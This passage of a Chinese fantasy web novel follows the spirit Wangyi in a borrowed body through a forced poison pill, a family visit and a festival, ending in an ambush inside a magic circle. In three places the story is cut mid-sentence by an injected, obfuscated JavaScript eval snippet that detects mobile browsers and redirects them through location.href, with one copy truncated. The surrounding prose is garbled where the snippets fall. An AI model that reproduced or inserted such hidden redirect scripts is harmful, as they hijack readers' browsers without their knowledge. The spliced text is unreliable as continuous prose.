屋内安置了一张小榻,她选了个舒服的姿势躺下,本想再聊几句,谁知她很快打起轻鼾,剩下凌延卿和阿辞面面相觑。 妄一很久没睡这么死了,次日悠悠转醒,睁眼瞧见的不是一鬼一狐,而是满脸焦灼的水央。 “小姐几时回的?怎么睡在这儿?!” 暖阁就算没人进出,下人们也要天天打扫,见新夫人歇在这儿,便赶忙去告知水央。水央不信,亲自过来看看,才知小姐真的在此。 “哦,我......我刚回来。”妄一打了个哈欠,眼神转向四周。 凌延卿乃魂体不必躲藏,阿辞则蹲在房梁上静静地看着他们。 妄一对水央道:“那什么,我此番行程多有疲惫,你出去吧,不要打扰我,我想静思片刻。”怕她不走,妄一还道:“这座院子多亏由你盯着,你看好这些齐允人,别让他们偷耍什么下作手段。” 水央咽下喉咙里的关心之语,她不知道小姐出去几天经历了什么,但身为丫鬟的她或许真帮不上忙,唯一能做的,就是拿出架子,留意那些外人。 “好吧,那您歇会儿,我瞧您的脸色好像很差呢。”水央明白小姐一定是干大事去了。 小丫鬟一走,妄一就想从榻上起身。 狐狸跳下房梁,快步按住她道:“大人,您就听那丫鬟的话,老实歇着吧!受了伤,您又难得能睡那么好,再多睡会儿也无妨。” 妄一道:“漫漫长夜有的是机会休息,我已经不累了。” 阿辞挠挠爪子,道:“那关于仙子历劫错乱的事,您有头绪了吗?” 这个嘛,不能说完全没有,妄一只能说捋到一半断了。她隐隐觉得仙子历劫应该早就错了,她更不该嫁于公子延卿的。 凌延卿插不上话,外面朗朗白日,他一只鬼不好出去,就在房里东转转西转转,看看这又摸摸那。 暖阁里也有柜子书案等物件,他生前没住过这儿,但放置的东西有他的一部分。书卷半开,透露出圈圈画画的标记。 但再熟悉,如今的他跟喝了孟婆汤没多大区别。 妄一没再揪着他不放,她与他都有相同的一点,身负咒痕,皆不知所犯何罪。而凌延卿都已亡故,灵魂却能留驻世间。若妄一自己也能如此,那她也不必时时刻刻忙着操心功德了。 “先留着他吧,暂时不用送他去地府。”妄一思索道。踏上黄泉就无回头路,如果能解开凌延卿身上的咒痕谜题,百年之后她还不清罪孽,或许也能以魂魄的形式存在。 阿辞试探地问:“那我先把他带回鬼京关起来?” 妄一摇头道:“他没有鬼籍,身份尴尬,你私自带进去若是被人发现,麻烦不小,暂且放我身边吧。” 他们又交谈片刻,阿辞最终听从大人的安排。 既无其他需帮忙的事,狐狸就要告辞了。莲烨门无人照看,他得回去打打掩护,顺便叫大人完事了早些回来,毕竟苍鸯殿里少个掌门,让人不知晓还挺难的。 妄一亦有感慨,阿辞在,他们还能扯两句闲话,他一走,妄一身边彻底清净下来。反观凌延卿站在一盆翠绿的文竹前,除非有人主动和他搭话,不然只顾自己看物件。太阳落山,幽魂的活动范围扩大,他就出去在琳琅园四处闲逛。 妄一懒得干涉,只是警告他别出大园门口。否则被某些路过的阴差看见,她可没把握救他。 傍晚到了传膳的时间,妄一百无聊赖地给那盆文竹浇水。 水央将碗筷摆好,把人请到椅子上,低声说:“小姐,今天下午的时候,我看到咱们府里的王福上门传话了。” “哦,什么话?”妄一嚼了两口菜,看向她。 “小姐,咱们是被扣押着,不能单独和王福说话。我猫在角落偷听,老爷大意是再过两天就是烟花游会,想请您和质子过去游市。”水央语气里藏着几分愉悦,“小姐,与颦夫人说要问过您的意思,我瞧这回咱们说不定真能脱身。” 妄一拿手肘撞了撞她,心不在焉道:“今天的菜好像有点咸了。” 水央眨了两下眼,心想怎么会咸呢?菜都是她看着做的,盐没多放也没少放。 “很咸吗?”水央半信半疑,小姐都吃了好几口了。 妄一面容严肃,低声和她道:“我知晓你跟我来到龙潭虎穴非你所愿,你要走,我能想办法让你走,只是有关别的,你就不要插手了,也不要多言。” 水央固然忠心耿耿,可她们能想到的事,别人会想不到?与颦夫人那般说,不过是为了打发王福回话。而余菀意能不能去,从来不是自己作主。 水央不明白小姐为什么放弃机会,先前都逃出去了,又乖乖回来,并且没什么改变。 对于这些,妄一必然不会与她解释。桌上撤了饭菜,她琢磨消失已久的凌延卿,什么时辰了还没溜达完,心中放不下,她思来想去还是到外头找找看。 与颦夫人许余菀意在园里许多自由,走动并不多加受限,除了那块特殊的地方。 妄一不愿意去,可她逛了一圈找不到,只好将步伐再次迈入灵堂。 寂静的堂内,树叶轻轻摩挲着。 凌延卿果然在那儿,他笔直地站于牌位前,凝视着上面的名字。 同在一边的,还有撑着额头似乎睡去多时的与颦夫人。 黑色棺木依旧那么醒眼,与颦夫人几乎每晚都会屏退侍卫,独自守灵片刻。 不知凌延卿站了多久,是否听见姨母的念叨。桌上的香火仍是笔直,他没有鬼籍,亲人点得再多,他也享用不到。 妄一见过太多未和亲友道别,就突然离世的怨鬼。人活一世,最难割舍的便是亲情,何况这姨母对他掏心掏肺至此。 她上前,出现在他的身后,幽幽开口:“你若有意,我可以帮你入她的梦。” 凌延卿愣了下,他没有转过头,而是默然片刻,说道:“我不记得她,就算入梦了我能说些什么?” 他什么也说不了。记忆的缺损,同时让他失去部分情感。 妄一不知该称他觉悟高还是薄情?他就站在那儿一动不动地看了会儿,直到一截香烛燃尽,轻声道:“回吧。”转身之决绝,仿佛能放下一切。 可天公似是有意挽留,院中忽而吹过的大风,供桌旁边的招魂幡哗啦啦作响。与颦夫人拢了拢衣裳,缓缓清醒过来。 她眼角尚有泪痕,抬起袖子拭去,见余菀意站在这里,神情顿时由哀伤转为惊异。 “......你又来干什么?!”她变脸还是那么快,几日不见,态度也是原封不动的冰冷。 与颦夫人护在供桌前,表情警惕无比,在妄一眼里,像是一只护崽的老鹰。 “贵府晚膳可口,我吃多了出来散散步。”妄一随口解释。 与颦夫人冷笑一声,每晚准备的膳食大差不大,前些天她吃完就窝在房间,门都不出去,今儿不同了,吃得多还想消消食。 与颦夫人重新在炉子里添了一炷香,回头质问道:“所谓‘无事不登三宝殿’,让我猜猜......外甥媳妇找我,是不是想让我放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963699|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你在游会那天,去和余将军团聚?” 天地良心,妄一真没这打算,而且凭她翻墙自如的本事,潜入王宫都是手到擒来,何须旁人应允? 心中鄙夷,妄一嘴上仍要谦卑道:“是啊,夫人真是料事如神!” 与颦夫人走到她跟前,眼神带有敌意。于她心中,对付余菀意这样涉世未深的丫头,哪用她料事如神? “所以你过来打算怎么说服我?”她稍稍仰脸,语气轻蔑。 “......莞意嘴笨,不知怎么能把话说好听,不过夫人......”妄一轻轻一笑,迎上她的目光,“你问这话的时候,我想你已经动摇了。” 与颦夫人神色微变,而后一声假笑道:“余小姐谦虚过人,我瞧着,倒是聪慧得很。是了,今日将军府的小厮来过一趟,你虽不出房门,但你那个丫鬟必定偷偷告诉你了。” “嗯,是告诉我了。”妄一无畏道,“那么夫人希望我装作不知情吗?” “呵呵,说的容易,余小姐甘心吗?”与颦夫人孤傲地转过身,“世上没有不透风的墙,我想过了,长期拘着你也不是个事。” 她很清楚,余家那边太久没见到大女儿,开始能用“齐允风俗”为借口,但时间一长,肯定会起疑心。若是余将军那个大老粗急了,强闯宅院,这帮下人未必能拦住。 妄一朝凌延卿暗暗使眼色,让他没事先走吧。可他不为所动,执意要听完两个女人的谈话。 与颦夫人再次看过来时,妄一调转神色,眯着眼道:“夫人,我不爱猜忌。但我想你不会真的好心放我出去。” “瞧这话说的,自由是早晚都要还你的东西,老关着你,我又没有好处。可我又怕放虎归山,你回去揭发我可怎么办?”与颦夫人摩挲袖口上的流云暗纹,浑不在意道,“我想请外甥媳妇站在我的角度想一想,换作是你,该如果处理这棘手之事?” 凌延卿站在她们中间,只觉得气氛冷到极点。 “夫人,我说过了我不喜欢猜忌,你早已有了方法,又何必再问我一遍?”妄一道她好生磨叽,步步试探,纯粹浪费时间。 与颦夫人笑道:“余小姐的性情和将军一样爽快,好吧,我也不说废话了。” 她将头上的发簪拔下,拧开上面的宝珠,倒出一粒黑色药丸。 “夫人这是?”妄一挑起眉毛。 “你没见过它,这是我们齐允的一种药丸,赐名‘铩’。食用后,每日需加服一剂药方续命,如若错过,便会心律加快,暴毙而亡。”与颦夫人语气极尽温柔,“这是我们齐允少见的蛊刑,藏在我簪子里多年,余小姐有福气了,是第一个品尝它的。” 后面的话,就算不说明,妄一也清楚了。凌延卿朝她摇了摇头,示意她不要乱来。 妄一无视他的担忧,接过药丸,端详道:“夫人打的好算盘,说了半天,就是让我在‘健康’和‘自由’中,做个选择。” 与颦夫人叹气道:“没办法,姨母也是防患于未然。此药无解,余小姐吃了它,对你我都好。自此过往,你爱去哪儿就去哪儿,我每日必会准时让人送药。” “这样啊。”妄一眉眼放松,全无惧色。 她本可以不服此丸,但瞧这婆娘势在必得的模样,就算她不肯,怕也由不得自己。慷慨给外甥媳妇一次选择,不过是不愿闹得像大婚之夜难堪罢了。 “我答应夫人,但也请夫人言而有信。”妄一仰头送入口中。凌延卿想去夺,但来不及,眼睁睁看她咽下。 铩丸入口,真是出奇的丝滑。 那一刻,与颦夫人对余菀意浮现了真正的笑意。她抚掌道:“两日后就是游灯会了,希望余小姐能玩个尽兴。” “夫人也是。”妄一表情温和,转身离开灵堂时,收回了所有的情绪。 这下,姨母自认为捏住了外甥媳妇的命,应当彻底放心了。 一出灵堂,凌延卿围绕妄一身边,担忧地问:“你有没有事?你为什么要吃?吐!吐出来!”如果不是顾忌妄一略带杀气的眼神,他都想伸手去她抠喉咙了。 暗夜无风,园子里多数人都歇下了,月色银华,织成柔和的网。 半道,妄一停下来,一指头点上自己咽喉,眉头一皱,黑色的药丸完好无损地掉在地上。她伸脚一踢,踢进路边的花丛中。 与颦夫人有张良计,妄一亦有过墙梯。她扭头剜了凌延卿一眼,道:“以后可别胡乱走动了。” 31. 烟花游会回余府 余菀意乖顺服下药丸,与颦夫人自此看她尤为顺眼,一直以来的戒备也有所松懈。 这一切皆因凌延卿而起,可是妄一自那晚从灵堂归来,就没对他有好脸。铩丸卡喉的感觉实在要命,若非她真有几分本事,恐怕就把药丸干净地吞下去了。 至于与颦夫人答应送来的那晚续命汤更不是好东西,闻着一股腥臭味,婆子把它放下后就走了。喝不喝?想不想活?那都是新夫人自己的事。 没人盯着正好,妄一亲自端药,去喂房间里那盆文竹。就是不知究竟内含什么配方,文竹活得好好的,还比以前更壮了,要是批量熬制,广泛浇灌,与颦夫人说不定能成为园艺界的祖师爷。 妄一在琳琅园里的安生日子没几天,转眼就是烟花游会。 与颦夫人擅作主张,替余菀意回了信,接受娘家的邀请。妄一不想去也得去,否则将军爹见不着人,搞不好半夜要敲第二次门。 腊月三十这日的黄昏时分,她手捂汤婆子,坐进一顶四方马车里。 出发前,水央特意给主子加披一件狐裘,说是老爷给的,连二小姐也没有的好物,这天寒地冻的日子穿正好。她想不明白小姐为什么看上去不太乐意,水央只盼小姐见到老爷夫人能诉诉苦,撤下齐允人的虚伪面具。 “小姐,他们不让我跟着您,您上车下车多注意,还有您到了府里.......” “好了好了,我知道的,你且放心地在院中等我。” 妄一含糊应下,拖着厚厚的狐裘钻进车厢。 驾车的车夫快马加鞭,车厢内一人一鬼共处一室。 依他们的穿着打扮,凌延卿身姿轻盈似在炎夏,妄一则是身如狗熊如在寒冬。 她本不欲带上他,但在灵堂里溜达过后,她就给他立了规矩,在外不能离她三丈远。凌延卿自然没什么好说的,他害她差点落入险境,只能乖乖听她的安排。 到了余府门口,妄一拖着笨重的身体,在旁人的搀扶下,徐徐下车。 天外无雪,眼尖的仆婢跑去为小姐撑伞挡风。 府里一切安好,将军起身相迎,丝毫没觉得女儿身上臃肿,转头又让人将屋里的炭火烧高。 父女相见的情景总是暖意融融,妄一擦了把脑门上捂出的热汗,忙把大衣解下,如烫手山芋似的让人收在一旁。 看妄一头上梳的妇人发髻,姚氏亦感慨道:“莞意真是长大了。” 妄一有些不适应,只能维持“微微一笑”的表情,显得礼貌又矜持。 她这趟来,余小郎君不在府里。姚氏说临儿这个好动的年纪,家里待不住了。马夫子教学严格,但到底年纪大了,精力有限,所以把他送去书院学习了。那里有同龄人,举止多少要顾及脸面。最重要的是书院离余府不远,把临儿放在那里,余家夫妇也不用过分挂心。 余初琼在姚氏的呼喊下迟迟赶来,再次见面,她仍是余菀意记忆里明艳动人的二小姐。 两个人目光对上的一刻,妄一却感觉对方似乎有所怔愣,但很快掩饰下去,像什么都没发生一样。 她离人站了几步之遥,疏远地唤了一声“姐姐。” 妄一扫了一眼,嘴角微撇。 姚氏还当她们多日未见面的缘故,有些生分了,笑道:“琼儿自姐姐出嫁后常魂不守舍,今日见着了,怎的还陌生起来?” 余初琼低下头,直言母亲误会了。 将军灵光一闪,说道:“阿圆终身大事已定,现在就看琼儿的了。先前与你说的儿郎是拔尖的好,考虑清楚了第一时间告诉爹啊。”他又往大女儿身上瞧,察觉到一丝不对劲,随后往外张望。 将军适才沉浸在重见女儿的喜悦里,都忘了凌延卿那个大活人哪去了。 “阿圆,公子呢?”将军语气有些不悦,“公子真是个忙人,成亲几日,老丈人家一趟都不来?” 妄一余光看向正忙着欣赏墙上挂画的凌延卿,某个当事人正置身事外。 “.......爹别生气,姐夫毕竟是齐允公子,我想是因为别有要事,所以不能陪同吧。”余初琼站出来帮忙说话,而后又问姐姐,公子身体可好?寒冬腊月的,不管如何,都要避着点风。 妄一笑了笑,说:“他好得很,能吃能睡,还会看书看画,不过他不来是因为......他姨母不好。”她把声音放缓,徐徐解释,“公子对姨母敬如生母,前几日着凉了,正卧床休养,公子在床前敬一份孝心,故不能随我前来。” “与颦夫人病了?”将军惊异道。 “是啊。”妄一镇定自若,“公子这次因故不能来,和我承诺下次一定和您赔罪。” “这.....赔罪倒不用了,他有这份孝心,必是良善之人。只要他善待阿圆,我就没什么意见。”将军拍拍女儿的手。 在姚氏的吩咐下,后厨很快备好了酒菜,一家人坐下,其乐融融。 余初琼胃口不好,脸色也有些难看,坐下没吃几筷子,甚至更多的时间是在听旁人讲话。直到她实在坐不住了,便说要先回房了。 姚氏说她难得见姐姐回来,话都没说上几句,不过大家都是自己人,便也随她去了。 妄一盯着余初琼消失的门口,似在思考。将军想和大女儿聊话,聊着聊着,顺其自然聊到子嗣之事。 妄一差点一口汤没喷出来,姚氏帮忙拍她的背,责怪将军道:“俩孩子才成亲多久,老爷就等不及抱外孙了。幸亏公子没来,你一张嘴就催,要是让小辈排斥了可怎么办?” “我不是......”将军被怼得哑口无言,“我随便问问而已.......” 妄一面色窘迫,好在话题没继续。偷暼一眼凌延卿,他正闲适地坐在椅子上,头转向别处,再次生动地表现“置身事外”。 怕将军后面还要提乱七八糟的胡话,妄一体贴地给他盛了汤,然后以“想到处看看”为由,火速从桌子上撤离。 姚氏看她走了,还对将军道:“看吧,我说什么来着?你把莞意都给吓走了。” 妄一在游廊上健步如飞,她走路恣意潇洒,下人纷纷靠边让路。 人是不挡路了,可不代表畜生也不挡。转过几处花坛,有只橘猫堵在半道上。如果妄一没记错,这好像是余初琼养的。 比起余菀意刚来那会儿,如今它已不能用“小”字形容。它胖得像团棉花,蹲在廊下休憩,见了人,不晓得哪根筋不对,琥珀色的眼瞳登时放大,并伴着直立而起的毛发,有种挑衅的意味。 “我听说动物的眼睛有通灵之用,能看到常人看不见的东西。尤其是猫,有些还能做镇宅神。”妄一转头问跟随而来的凌延卿,“你说它拦在这儿不让我们过去,是龇你还是龇我?” 凌延卿盯着橘猫,琢磨道:“我觉得它......” “它什么?”妄一追问。 “它应该不是对我。”凌延卿挺起背,无视发威的猫,保持一尺距离,信步而过。 橘猫依旧是生人勿近的架势,可不管凌延卿有何动作,它的眼神始终黏在妄一身上,一对露出的尖牙就没收回去过。 看样子,它大概对附在余菀意身上的“人”更感兴趣。它的瞳孔变成竖线,半俯着身,好像在为起跳而蓄力。 凌延卿神色微变,想叫妄一后退,她却不怕它,甚至一直和它保持对视。 笑话,她是人,堂堂一个人,怎么会怕一只没膝盖高的东西? 眼看猫要扑过来,妄一准备好要揪住它的后颈。 “啊!大小姐莫怪罪!是我没看好橘子!”秋拂气喘吁吁,后追而来。 几乎在猫起跳的瞬间,秋拂手疾眼快抱住它,牢牢摁在怀里后,慌忙赔礼:“大小姐,不好意思不好意思!橘子平时不这样,它逃了出来......没吓到您吧?!” 秋拂安抚暴躁的橘猫,心里无比忐忑。 妄一怎么真会和一只猫怄气?摆摆手道:“我没关系,但它既然有主人,那就看好它,别让他乱跑出来凶人。” “是。”秋拂低下头。 橘猫虽困在怀里,但眼神仍是不善,差点连平时接触较多的秋拂也要挨挠,为缓和橘子的情绪,秋拂忙抱着猫走了。 凌延卿叹气,说这猫太不会察言观色,不知道什么人好惹,什么人不好惹。 妄一面无波澜道:“没关系,它不知道,你知道就行。” 凌延卿一时语滞,他知道啊,一直都知道,从她带他逃离留仙寨起就知道了。 他老老实实跟在她身后,两人在将军府意图找出与众不同的东西。 余菀意的旧居里,陈设与她出嫁时保持一致,所有物品时常有人打理。可一圈逛下来,妄一觉得很颓废。她有怀疑对象,但在观察后,对方打消了她的疑虑。 那个和余菀意没有血缘关系的妹妹,多年前的一场夜袭,让两个姑娘互换命运。不同的人生造就不同的性格,即使数年之后,余菀意认祖归宗都不能恢复如初,她的敏感与自卑在进入余府的当天,或许就被无限放大。而造成这一切的,虽不全是余初琼的缘故,但也占了大头。 妄一怀疑她,可刚刚与余初琼碰面时,甚至同桌而食,近距离接触,她身上飘散出来的都是干净的人气。 余初琼就是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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街市两边的火树银花,远处的青石拱桥前围满了人,听说远山观的观主在桥头卜卦。队伍从这头排到了那尾,观主却说非是有缘人不可看。 姚氏挽着将军的臂弯,他们夫妇许久没有悠闲游市了。将军总是公务繁忙,上回答应忙完告假陪她出去,后来因女儿的婚事耽搁了。姚氏从没怪过丈夫,她体贴入微,况且有余小郎君在,她出一趟远门也放心不下。 步行途中,姚氏相中路边商户的货品,不由放慢步子。 成衣铺里,一列列架子上的衣裳剪裁得体,花纹出挑,只是不知料子如何。 店家贴过来介绍:“这位夫人呀,衣服挂着无法彻底领悟它的美。您看上哪件?咱们去里间可以试穿。” 姚氏觉得有道理,出都出来了,那便试试吧。结果这一试就不止试一件了,她连换三四套让将军选哪个款式最好。 将军看了半天,这件也说好,那件也说好,最后反而惹夫人一脸不高兴。 凌延卿同样在场,即便不会被人听见,他也格外赏脸地点评几句,这件显黑,那件显胖,刚刚那件青灰色的不错,现在这件牡丹色的也尚可。 妄一斜着脑袋,小声对他道:“你若还活着,说不定会和将军夫人话语投机,相见恨晚。” 凌延卿笑道:“那在你眼里,是算坏还是算好?” 妄一颇为赏脸地答道:“好坏掺半吧,你和夫人聊尽兴了,不高兴的人恐怕换做将军了。” “阿圆啊,你一个人做什么呢?”将军拉过她,“你可别走神了啊,快看看你有没有喜欢的衣裳?要不赶紧也添一身吧!” 姚氏的神色依旧没有好转,妄一知道将军是在拿她错开话题,可还是拒绝了,坦言自己想去别的地方逛游。毕竟,看人试衣裳的活儿,对妄一而言有些累。 将军还想喊“等等我”,女儿就已走远。 姚氏张开双臂,在夫君面前一挡,不依不饶道:“你宫宴那晚,还能对同僚的打扮指手画脚,怎么到我这儿就不行了?” 和余家夫妇分别后,妄一就想打道回府。外人的热闹向来与她互不相干,只是凌延卿这死鬼流连其中。要不是她留意身后,只怕他被花花世界迷乱双眼,跟丢在市井。 妄一讥笑道:“光一个小小游会就把你痴迷成这样,届时我带你去鬼京,你岂不是要恨自己为何不多长一双眼?” 听了这话,凌延卿也不恼,只是有些无奈道:“我先前被关留仙寨,没了人间的记忆。难得看见外面的繁华,自然要多看几眼。日后随你去鬼京,我此生也算无憾了。” 他到底不是冷漠之人,他爱尘世间的喜乐融融,万家和乐。 妄一皱起眉,略微不悦道:“让你和我去鬼京,又不是叫你舍生跳火崖。多少人找不到的门路,我无偿带你,你还大义凛然上了?!”看某人的魂魄在辉煌的灯火下忽隐忽现,她叹一口气,改口道,“算了算了,我不和你计较,看在时间还早的份上,你想逛就逛吧。” 32. 花影疑踪遇蹊跷 二人沉浸在国泰民安的祥和氛围中。 妄一顶着余菀意的皮囊,在旁人看来不过是个独行的弱女子。因身处热闹街市,便免不了会被游手好闲的地头蛇搭讪。 那几人长相凶狠,身材各异,逮着年轻姑娘便色眯眯地看,一开口便是黄腔满天飞。周围人侧目而视,却都敢怒不敢言 妄一也不想做出粗鲁的举动,除了外面人多眼杂的原因,如果有人认识余菀意,见过她孔武有力,万夫莫敌的样子,传到亲朋故旧的耳朵里怕是难以解释。 于是,她抬头只顾自己走路,不去理会他们轻挑的口哨声。 为首的混混见不得她孤僻高傲,想上前逗弄一下,看她还能保持清高?然没等近身,小娘们冷冷看他一眼,那眼神里仿佛藏着一只恶鬼,令人不寒而栗。 混混头子当即愣住,没了一开始的嚣张,小弟们围着他,纷纷询问发生了什么? 妄一背手已走出老远,混混头子缓过劲儿,嘴硬地啐了一口,道:“没什么,这娘们儿太丑了,不值得招惹!” 可他不知,这话远远落入妄一耳中。只是她轻蔑一笑,并未杀个回马枪。身侧的凌延卿还觉得意外,因这不像她的风格。 感受到了他的目光,妄一冷静道:“你就当他们在狗叫吧,美和丑我分不清楚吗?而且.....确切而言,这也不是我的样貌。”她不过是顶着别人的皮相,在人家的世界里行走罢了。 凌延卿轻轻“嗯”了一声,认可她的话:“确实没必要和无关人等置气,我也知道你长什么模样。” 他语气淡定,如白云拂过般平静。 “慢着,你看得见我?!”妄一听到这话,终于露出一脸的不可思议。她一直老老实实躲在这副身躯里,并未有将真容展现于人。 “是啊,在留仙寨里第一次看见你,我就知道了。”凌延卿不好意思道,“我的眼神没那么差,我瞧别人都长得表里如一,可你不同,我看你的时候,景象会有重影。”怕她听不懂,他还耐心解释,“就像是两个长得不相像的人,重合在一起。” 妄一怔愣得说不出话,凌延卿一个普通魂灵,能透过余菀意的躯体看到她?莫非是咒痕的缘故,使其与鬼魅终究有些区别? “我说错了吗?”见她不回应,凌延卿心里有些发毛。 妄一收回思绪,表情认真道:“我的真容不为外人所知,你无意看见也就罢了,可你还要告与我,你知道这意味着什么吗?” 在对方充满疑惑的眼神下,妄一皮笑肉不笑地接上话:“会被我杀人灭口。” “这......好吧。”凌延卿温和回应,“可我已经死了啊。” 妄一原想吓唬他,一听这话,内心反而五味杂陈。 若是其他鬼魅,复述自身悲凉的死亡或许是一件较为困难的事。反观凌延卿,眼里毫无伤感就罢了,甚至期待地提醒她,烟花盛会要开始了。 街上走动的游人亦是为此而来,纷纷结伴寻了几处高楼,等待这场即将到来的天空盛宴,去晚了可抢不到好位置。 听说谢天楼是最佳的观赏之地,人流拥挤,摩肩接踵,凌延卿一直叮嘱妄一小心。 妄一有些不耐烦,想让他多关照关照自己吧,又听远处传来几声呼喊。 “阿圆!阿圆!”周良喜在人群里。 她挑着担,正在街边叫卖瓜子花生点心,一见故友,激动地朝人招手。 妄一起先没认出她,待想起这是谁之后,赶忙压低嗓子和凌延卿道:“走走走!我假装没看见,现在调头应该来得及。” “嗯......可能来不及了。”凌延卿指了指后面,周良喜已兴冲冲地跑来了。 “阿圆!刚才老远我就看见一个很像你的人,我以为是我看错了,没想到真的是你!”她抓着妄一的肩膀,表情激动无比。 周良喜如今在炒货摊谋生,今晚游会,她被差遣出来,走街串巷地叫卖。人多的地方,生意是好。眼看储钱袋鼓得能交差了,就让她碰见了好友。 妄一不习惯她这般热情,抽身离她两步远后,含糊道:“是我是我,你没认错人。” 这略微疏远的态度,周良喜自然感觉出了。 “阿圆,你怎么了?是不是怪我没去喝你的喜酒,你不想与我来往了?”周良喜有些着急,气息也不太平稳,“我是有苦衷的,阿圆,你别生气!” 妄一道:“......我没生气。” “那你为什么都不给我回信?我知道你住在那座很大很气派的园子里,我托进出的仆人给你送信,你一封也没回我。”周良喜握住妄一的手,“阿圆,我有许多话想跟你说,一直没有机会。” 那些信,都是她利用空闲时间,去茶馆请人代写的,前前后后一共七封,可妄一一封也没看见,想来它们无一例外都被与颦夫人截胡了。 妄一佩服她的毅力,但并不打算把琳琅园发生的事告诉她,只道:“这个嘛......我初为人妇,有许多事情要去学习,管家算账,收入开支,样样都要精通。你的信我一直好好收着呢,想等空了再回,没想到忙着忙着,竟拖到了现在。” 原来没有讨厌她啊,周良喜松了口气,紧紧抱住妄一道:“吓死我了,我以为你成家了,有了新的生活,就不愿意再和我来往了。” 妄一本想将她推开,但想了想,最终没那么做。对周良喜来说,李阿圆大约是她在这世上唯一的羁绊了。 凌延卿挑眉看她们搂抱,周良喜和余菀意是有好久未见了,可妄一是局外人,体会不出从中的感觉。周良喜倒是兴高采烈,二人重逢,恰逢游会,她说什么也要放下担子,和朋友好好叙旧。 她的眼神何其热烈,妄一话到嘴边不忍拒绝,反正只有一场烟花,半刻钟就能结束了。 周良喜高兴极了,她把随身的挑担箩筐暂寄附近的店家,一身轻松地回见妄一。 路过沁香阁,伙计正吆喝便宜卖了。 周良喜转头对妄一道:“阿圆,你先去楼上占个地方等我,我去去就来!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963701|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妄一想喊住她,但她已飞快地跑开了,生怕慢一步会买不到。 凌延卿开口:“这位姑娘看来很珍惜你们之间的感情。” “错了。”妄一有些无奈,“她这份好意给错了人,我不是她心中惦念的故友。”。 如果是余菀意听见就好了,妄一只能强装出一副情深义重的样子。 街上依旧人山人海,游人们都陆续往高楼上走,妄一在原地等周良喜回来。她靠在一根柱子上,有些百无聊赖,不禁估摸着不知沁香阁的结账队伍排到第几个了。 就在这时,某个路过的老太,头上包着布巾,篮里盖着鲜花束,急急忙忙地撞过来。 这一撞,力气并不大。但路那么宽,老太怎么像是特意往她身上来的。 “对不住!对不住!”老太撞了人后,马上绕开溜走,生怕被人讹上。 妄一深感疑惑,天气还没转暖,万物也还没复苏,但她只凭一眼,便知那篮子里的花无论是香味还是鲜活度,都是一等一的。 凌延卿同样神色怔怔,望着老太离去的方向出神。 妄一拍他一记,他仍未收回眼神,低声喃喃道:“奇怪,她站起来的时候,连我都绕开了。”他凝视自己的手和腿,确认自己是魂体的状态。 妄一声音高了一度:“你说她看得见你,知道你的存在?!” “我不清楚,不过她好像掉了东西。”凌延卿指向地面。 那是从老太篮子里掉落的鲜花,色泽鲜艳,花瓣上还挂着露珠,仿佛是刚摘下不久。妄一拾起来看,手指沾上了粉末。白白的,细细的,带有甜腻的香气,并非是地上的尘土。 她认真辨别之后,突然惊诧道:“蜜粉?!” 这是留仙寨的东西,妄一清楚记得那日粉洒溪畔,开出一地鲜花的场景。 这老太是搞哪一出?,妄一不假思索道:“走,我们过去看看。” 她快速在这花上写了什么,以它为索引,搜寻老太的去向。 花朵燃起微光,凌空跳跃两下,像箭似的冲向西北角。 “快追!”妄一脱口而出,拉着凌延卿跟上去。 当周良喜捧着核桃酥回来时,只看见妄一在街尾留下的飞奔身影。她不知道发生何事,好友竟跑得火急火燎,她大喊一声,随后也追赶上去。 “阿圆,阿圆,你等等我!” 妄一和凌延卿跟着那朵花传递的信号,七拐八拐,进了弯道,出了小巷,最终来到一片空地上。 此处与繁华的街市大相庭径,城内人声鼎沸,这里则是一望无际的野草坪。 天上乌云遮月,也无半点星光,放眼望去,环境空荡不已。 妄一追赶到此,心想那老太已是风年残烛,为何步履有如此之快?仔细想来,从她出现、撞人、到现在的一系列举动,似乎都疑点重重。 半空的光芒将花儿揉碎,在空中打了个圈后,完成了它带路的使命。 妄一似乎想到了什么,一颗心猛地一沉,惊声道:“有诈!” 33. 零落蜜花引奇踪 章节29——零落蜜花引奇踪 凌延卿尚未反应过来,妄一一脸严肃地冲冲至近前,她拽起他的膀子想闪身溜走,可指尖还没摸到人,地上就迸发强光无数,如破镜裂痕一般,交错蔓延在大地,随后铺开涟漪般的阵法,散发出强大的阴气。 妄一似被无形的力量限制行动,腿脚不得动弹。凌延卿亦被束缚住,不同的是他的身体竟腾空飞起,被托举着,稳稳转移到阵法之外。 在这期间,他奋力挣脱过,可惜未有效果。好在后来摔于地上,也没受到其他伤害。 看这架势,妄一明白做局之人是冲她而来。可她的仇家多了去了,是谁想在这万民安乐的日子要她好看?没等想出个所以然来,阵心之处,慢慢生出一个人影。 那是个身材极高,面貌苍老的女人。她半仰着头,脊背佝偻,浑浊的眼睛像蒙了一层白纱,遮盖了她所有的情绪。 她孤零零地站在那里,一动不动,也不说话。 “老东西少故弄玄虚,谁派你来的?连我都敢暗算?”即便被定在原地,妄一也不肯服软。 